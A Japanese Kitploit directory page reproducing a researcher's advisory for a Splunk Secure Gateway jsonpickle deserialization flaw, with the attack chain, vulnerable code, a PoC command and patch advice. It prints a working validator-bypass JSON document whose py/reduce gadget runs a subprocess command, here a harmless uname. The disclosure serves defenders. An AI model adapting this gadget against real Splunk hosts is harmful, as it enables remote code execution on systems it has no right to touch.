Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-20251 — CVE-2026-20251 — Splunk Secure Gateway jsonpickle デシリアライゼーション RCE (CVSS 8.8) | ReactiveZero Security Research | Kitploit
ツール/GitHubGitHub/reactivezero/cve-2026-20251
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育ペイロード開発
GitHubreactivezero/cve-2026-20251

CVE-2026-20251

CVE-2026-20251 — Splunk Secure Gateway jsonpickle デシリアライゼーション RCE (CVSS 8.8) | ReactiveZero Security Research

リポジトリを見る
31ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-20251 — Splunk Secure Gateway jsonpickle デシリアライゼーション RCE

研究者: Fady Oueslati · ReactiveZero Security Research
参照: 2026FO-SPLUNK-20251
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
ステータス: 公開中 — パッチ提供済み


概要

低権限の認証済みユーザーが、KV ストア(mobile_alerts コレクション)に細工されたドキュメントを保存することで、Splunk ホスト上で リモートコード実行 を達成できます。Splunk Secure Gateway(SSG)は、後でそのドキュメントを読み取り、jsonpickle.decode() に直接渡し、任意の Python オブジェクト(OS コマンドを実行するものを含む)を再構築します。

この呼び出しでは safe=True が設定されていますが、このフラグは従来の py/repr eval パスのみをゲートします。py/reduce、py/object、py/type、py/function、py/module の各タグは影響を受けず、完全に悪用可能です。

別のバリデーター(check_alert_data_valid_json)は危険なタグをブロックすることを目的としていますが、最初に認識されたキーで短絡します。許可された py/object(値が spacebridgeapp で始まる)が最初のトップレベルキーとして存在するドキュメントは、直ちに True を返し、悪意のある py/reduce ガジェットを含む兄弟キーはまったく検査されません。


影響を受けるバージョン

ブランチ修正バージョン
Splunk Secure Gateway 3.9.x3.9.20
Splunk Secure Gateway 3.10.x3.10.6
Splunk Secure Gateway 3.8.x

テストインスタンス: SSG 3.9.19(Splunk Enterprise 10.0.6、macOS x86_64)。


攻撃チェーン

root@kitploit:~
Step 0  低権限の攻撃者が、Splunk REST API を介して KV ストアコレクション
        'mobile_alerts' に細工されたバイパスドキュメントを書き込みます。
        管理者やパワーロールは不要です。

Step 1  SSG がアラートフェッチリクエストを処理します。
        alerts_request_processor.py がドキュメントを読み取り、
        check_alert_data_valid_json() に渡します。

        → バリデーターは最初のキーとして "py/object": "spacebridgeapp..." を認識し、
          True を返し、py/reduce ガジェットを持つ兄弟キー "notification" を
          決して検査しません。

Step 2 (検証済みとなった)ドキュメントが
        jsonpickle.decode(..., safe=True) に渡されます。
        jsonpickle はルアーの Alert オブジェクトを loadclass() でロードし、
        インスタンス化した後、保存された属性を反復処理します。
        "notification" の値に到達すると、_restore_reduce() が発動します:

            stage1 = f(*args)     # unpickler.py ~line 526

        safe=True はこのコードパスに影響を与えません。

結果  Splunk サービスアカウントとして任意のコード実行が行われます。
       必要なのは、有効な低権限 Splunk ログインのみです。

バイパスドキュメントの構造

root@kitploit:~
{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["uname", "-a"]]}
    ]
  }
}

バリデーターは最初に py/object を検査し(許可されている)、True を返し、notification には到達しません。


概念実証

poc_cve_2026_20251.py は、完全なエクスプロイトチェーンを構成する2つの条件を示しています。

サブプルーフ内容

ペイロードは意図的に無害(読み取り専用の uname -a)です。これは 武器化されたエクスプロイトではありません。

必要条件

  • Python 3
  • SSG にバンドルされた jsonpickle へのアクセス(/Applications/Splunk/etc/apps/splunk_secure_gateway/lib から読み込み)
  • ローカルで認可された Splunk 研究インスタンス

使用方法

root@kitploit:~
python3 poc_cve_2026_20251.py -h 127.0.0.1

本番環境や、自分が所有しておらず明示的な書面によるテスト許可を得ていないシステムに対して実行しないでください。


根本原因

ファイル: bin/spacebridgeapp/request/alerts_request_processor.py

root@kitploit:~
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)   # ← シンク

ファイル: bin/spacebridgeapp/rest/devices/alert_helper.py

root@kitploit:~
# バリデーターは最初の 'py' プレフィックス付きキーで短絡します:
for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # ← すぐに返る
        else:
            return False
    # ... 兄弟キーには決して到達しません

修正方法

主要: Splunk Secure Gateway を修正バージョン(3.9.20+、3.10.6+、または 3.8.67+)にアップグレードし、Splunk Enterprise を 10.0.7+ / 10.2.4+ / 10.4.0+ にアップグレードしてください。

短期緩和策(パッチ適用が直ちにできない場合):

  • アクティブに使用していない場合は Splunk Secure Gateway アプリを無効にする
  • KV ストアへの書き込みアクセスを制限する: 最小権限のロールを適用し、mobile_alerts のコレクションレベル ACL を見直す

防御的なエンジニアリングパターン: 外部から影響を受ける保存データから決して任意の型を再構築しないでください。攻撃者が到達可能な入力に対する jsonpickle.decode() を、厳格なスキーマ検証付きパーサーに置き換えるか、decode() に明示的な classes= 許可リストを提供してください。バリデーションルーチンは、最初に認識されたキーで短絡するのではなく、ネストされた構造を完全に走査するようにしてください。


CVE-2026-20253 に関する注記

同じアドバイザリバッチには CVE-2026-20253(CVSS 9.8、PostgreSQL サイドカーエンドポイントを介した認証不要の任意のファイル作成)が含まれています。この脆弱性は、テストした macOS x86_64 ビルドの Splunk Enterprise 10.0.6 には存在しませんでした。このプラットフォームでは PostgreSQL サイドカーコンポーネントは出荷されておらず、サイドカーバイナリやプロセスは存在せず、対応するポートも観測されませんでした。

これは重要な保証原則を示しています: 影響を受けるバージョン文字列は、悪用可能性の必要条件ではありますが十分条件ではありません。コンポーネントレベルの検証は、実際のリスク像を大きく変えます。


エンゲージメント詳細

フィールド値
エンゲージメント参照2026FO-SPLUNK-20251
テストタイプホワイトボックス脆弱性検証(静的コード解析)
日付2026年6月26日
スコープ

ReactiveZero Security Research

ツールをダウンロード
3.8.67
Splunk Enterprise10.0.7 / 10.2.4 / 10.4.0+
A — バリデーターのバイパス
check_alert_data_valid_json() がバイパスドキュメントに対して True を返し、兄弟値の py/reduce ガジェットを一切検査しない
B — py/reduce の実行jsonpickle.decode(..., safe=True) が subprocess.check_output(['uname', '-a']) を実行し、safe=True がこのコードパスをゲートしないことを証明
ローカル Splunk Enterprise 10.0.6 研究インスタンス(127.0.0.1:8089)
分類機密